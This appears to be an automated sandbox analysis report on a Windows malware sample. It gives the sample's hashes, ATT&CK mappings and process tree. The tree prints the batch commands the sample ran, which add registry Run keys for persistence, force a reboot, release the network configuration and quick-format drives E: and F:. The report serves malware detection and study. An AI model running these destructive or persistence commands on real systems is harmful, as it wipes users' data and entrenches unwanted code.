c84a71b1bccba9cf519b78f6a51e4a47c7095741c329cfc886338b0c4553bb16

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
12/08/2024, 02:30

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Reason

Machine shutdown

Report Analysis Logs

General

Target

8cf5c7624252c403dcfcf2d2d8e252e7_JaffaCakes118.exe
Size

148KB
MD5

8cf5c7624252c403dcfcf2d2d8e252e7
SHA1

c542f67c7927de5406e1c70c59466e06ee61c638
SHA256

c84a71b1bccba9cf519b78f6a51e4a47c7095741c329cfc886338b0c4553bb16
SHA512

e41ecc0bc1a49d5127e22319bb70abe4732e37336debc6d6a79c7d34ce0e7dd9b2d89c1debd1a3e06803c39d2a6b3bbf388e8e0df8140ced3dfaa78982d99f86
SSDEEP

3072:DHNJfdFMeHw41WhR5btEzv3GCTyjHI/yIsHUprgIAL:DHPYH02fHI/y5S8

Score

6^/10

discovery persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\startAPI = "c:\\system32\\SYSTERN2.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\HAHAHA = "c:\\system32\\SYSTERN2.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\startAPI = "c:\\windows\\hartlell.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\HAHAHA = "c:\\windows\\hartlell.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WINDOWsAPI = "c:\\windows\\wimn32.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\CONTROLexit = "c:\\windows\\wimn32.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\startAPI = "c:\\windows\\SYSTERN.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\HAHAHA = "c:\\windows\\SYSTERN.bat"	reg.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	format.com
File opened (read-only)	\??\E:	format.com

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\SYSTERN.bat	cmd.exe
File created	\??\c:\windows\hartlell.bat	cmd.exe
File opened for modification	\??\c:\windows\hartlell.bat	cmd.exe
File created	\??\c:\windows\wimn32.bat	cmd.exe
File opened for modification	\??\c:\windows\wimn32.bat	cmd.exe
File created	\??\c:\windows\SYSTERN.bat	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	format.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8cf5c7624252c403dcfcf2d2d8e252e7_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	format.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	format.com
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	format.com

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2660	ipconfig.exe
1932	ipconfig.exe
3024	ipconfig.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2760	shutdown.exe
Token: SeRemoteShutdownPrivilege	2760	shutdown.exe
Token: SeBackupPrivilege	2640	format.com

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 2824 wrote to memory of 2712	2824	8cf5c7624252c403dcfcf2d2d8e252e7_JaffaCakes118.exe	31
PID 2824 wrote to memory of 2712	2824	8cf5c7624252c403dcfcf2d2d8e252e7_JaffaCakes118.exe	31
PID 2824 wrote to memory of 2712	2824	8cf5c7624252c403dcfcf2d2d8e252e7_JaffaCakes118.exe	31
PID 2824 wrote to memory of 2712	2824	8cf5c7624252c403dcfcf2d2d8e252e7_JaffaCakes118.exe	31
PID 2712 wrote to memory of 2748	2712	cmd.exe	32
PID 2712 wrote to memory of 2748	2712	cmd.exe	32
PID 2712 wrote to memory of 2748	2712	cmd.exe	32
PID 2712 wrote to memory of 2748	2712	cmd.exe	32
PID 2712 wrote to memory of 2348	2712	cmd.exe	33
PID 2712 wrote to memory of 2348	2712	cmd.exe	33
PID 2712 wrote to memory of 2348	2712	cmd.exe	33
PID 2712 wrote to memory of 2348	2712	cmd.exe	33
PID 2712 wrote to memory of 2780	2712	cmd.exe	34
PID 2712 wrote to memory of 2780	2712	cmd.exe	34
PID 2712 wrote to memory of 2780	2712	cmd.exe	34
PID 2712 wrote to memory of 2780	2712	cmd.exe	34
PID 2712 wrote to memory of 2840	2712	cmd.exe	35
PID 2712 wrote to memory of 2840	2712	cmd.exe	35
PID 2712 wrote to memory of 2840	2712	cmd.exe	35
PID 2712 wrote to memory of 2840	2712	cmd.exe	35
PID 2712 wrote to memory of 2752	2712	cmd.exe	36
PID 2712 wrote to memory of 2752	2712	cmd.exe	36
PID 2712 wrote to memory of 2752	2712	cmd.exe	36
PID 2712 wrote to memory of 2752	2712	cmd.exe	36
PID 2712 wrote to memory of 2844	2712	cmd.exe	37
PID 2712 wrote to memory of 2844	2712	cmd.exe	37
PID 2712 wrote to memory of 2844	2712	cmd.exe	37
PID 2712 wrote to memory of 2844	2712	cmd.exe	37
PID 2712 wrote to memory of 2700	2712	cmd.exe	38
PID 2712 wrote to memory of 2700	2712	cmd.exe	38
PID 2712 wrote to memory of 2700	2712	cmd.exe	38
PID 2712 wrote to memory of 2700	2712	cmd.exe	38
PID 2712 wrote to memory of 2644	2712	cmd.exe	39
PID 2712 wrote to memory of 2644	2712	cmd.exe	39
PID 2712 wrote to memory of 2644	2712	cmd.exe	39
PID 2712 wrote to memory of 2644	2712	cmd.exe	39
PID 2712 wrote to memory of 2760	2712	cmd.exe	40
PID 2712 wrote to memory of 2760	2712	cmd.exe	40
PID 2712 wrote to memory of 2760	2712	cmd.exe	40
PID 2712 wrote to memory of 2760	2712	cmd.exe	40
PID 2712 wrote to memory of 2660	2712	cmd.exe	42
PID 2712 wrote to memory of 2660	2712	cmd.exe	42
PID 2712 wrote to memory of 2660	2712	cmd.exe	42
PID 2712 wrote to memory of 2660	2712	cmd.exe	42
PID 2712 wrote to memory of 1932	2712	cmd.exe	43
PID 2712 wrote to memory of 1932	2712	cmd.exe	43
PID 2712 wrote to memory of 1932	2712	cmd.exe	43
PID 2712 wrote to memory of 1932	2712	cmd.exe	43
PID 2712 wrote to memory of 3024	2712	cmd.exe	44
PID 2712 wrote to memory of 3024	2712	cmd.exe	44
PID 2712 wrote to memory of 3024	2712	cmd.exe	44
PID 2712 wrote to memory of 3024	2712	cmd.exe	44
PID 2712 wrote to memory of 2640	2712	cmd.exe	45
PID 2712 wrote to memory of 2640	2712	cmd.exe	45
PID 2712 wrote to memory of 2640	2712	cmd.exe	45
PID 2712 wrote to memory of 2640	2712	cmd.exe	45
PID 2712 wrote to memory of 2604	2712	cmd.exe	46
PID 2712 wrote to memory of 2604	2712	cmd.exe	46
PID 2712 wrote to memory of 2604	2712	cmd.exe	46
PID 2712 wrote to memory of 2604	2712	cmd.exe	46

C:\Users\Admin\AppData\Local\Temp\8cf5c7624252c403dcfcf2d2d8e252e7_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8cf5c7624252c403dcfcf2d2d8e252e7_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2824
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Users\Admin\AppData\Local\Temp\bt8080.bat "C:\Users\Admin\AppData\Local\Temp\8cf5c7624252c403dcfcf2d2d8e252e7_JaffaCakes118.exe"
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\SysWOW64\reg.exe
    reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\hartlell.bat /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2748
- - C:\Windows\SysWOW64\reg.exe
    reg add hkey_current_user\software\microsoft\windows\currentversion\run /v HAHAHA /t reg_sz /d c:\windows\hartlell.bat /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2348
- - C:\Windows\SysWOW64\reg.exe
    reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2780
- - C:\Windows\SysWOW64\reg.exe
    reg add hkey_current_user\software\microsoft\windows\currentversion\run /v CONTROLexit /t reg_sz /d c:\windows\wimn32.bat /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2840
- - C:\Windows\SysWOW64\reg.exe
    reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\SYSTERN.bat /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2752
- - C:\Windows\SysWOW64\reg.exe
    reg add hkey_current_user\software\microsoft\windows\currentversion\run /v HAHAHA /t reg_sz /d c:\windows\SYSTERN.bat /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2844
- - C:\Windows\SysWOW64\reg.exe
    reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\system32\SYSTERN2.bat /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2700
- - C:\Windows\SysWOW64\reg.exe
    reg add hkey_current_user\software\microsoft\windows\currentversion\run /v HAHAHA /t reg_sz /d c:\system32\SYSTERN2.bat /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2644
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown -r -f -t 120 -c "s'a t'apprendra"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2760
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /release
    3⤵
    - System Location Discovery: System Language Discovery
    - Gathers network information
    PID:2660
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /release
    3⤵
    - System Location Discovery: System Language Discovery
    - Gathers network information
    PID:1932
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /release
    3⤵
    - System Location Discovery: System Language Discovery
    - Gathers network information
    PID:3024
- - C:\Windows\SysWOW64\format.com
    format F: /q /y
    3⤵
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Enumerates system info in registry
    - Suspicious use of AdjustPrivilegeToken
    PID:2640
- - C:\Windows\SysWOW64\format.com
    format E: /q /y
    3⤵
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Enumerates system info in registry
    PID:2604

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:1944

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Temp\bt8080.bat

Filesize
2KB

MD5
e588adddfb9ca36278074b7a0070ebce

SHA1
7ddb1e6e592d5ff6a0bca1383f17958279d4e1c6

SHA256
64238d3ca58410ccf29a7a3593c16e4790782fda851f8c5075122cd09ef002ce

SHA512
8717b223047d5da923a0ddb1dbf50951c5404a7d2a224000d1282ba2441e705e734a5a5dfb7c7c485e6b9f6415e5bfc04de019753218c61472ec0d3a6630a35f

Download Submit
memory/2824-15-0x0000000000400000-0x000000000042C000-memory.dmp

Filesize
176KB

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Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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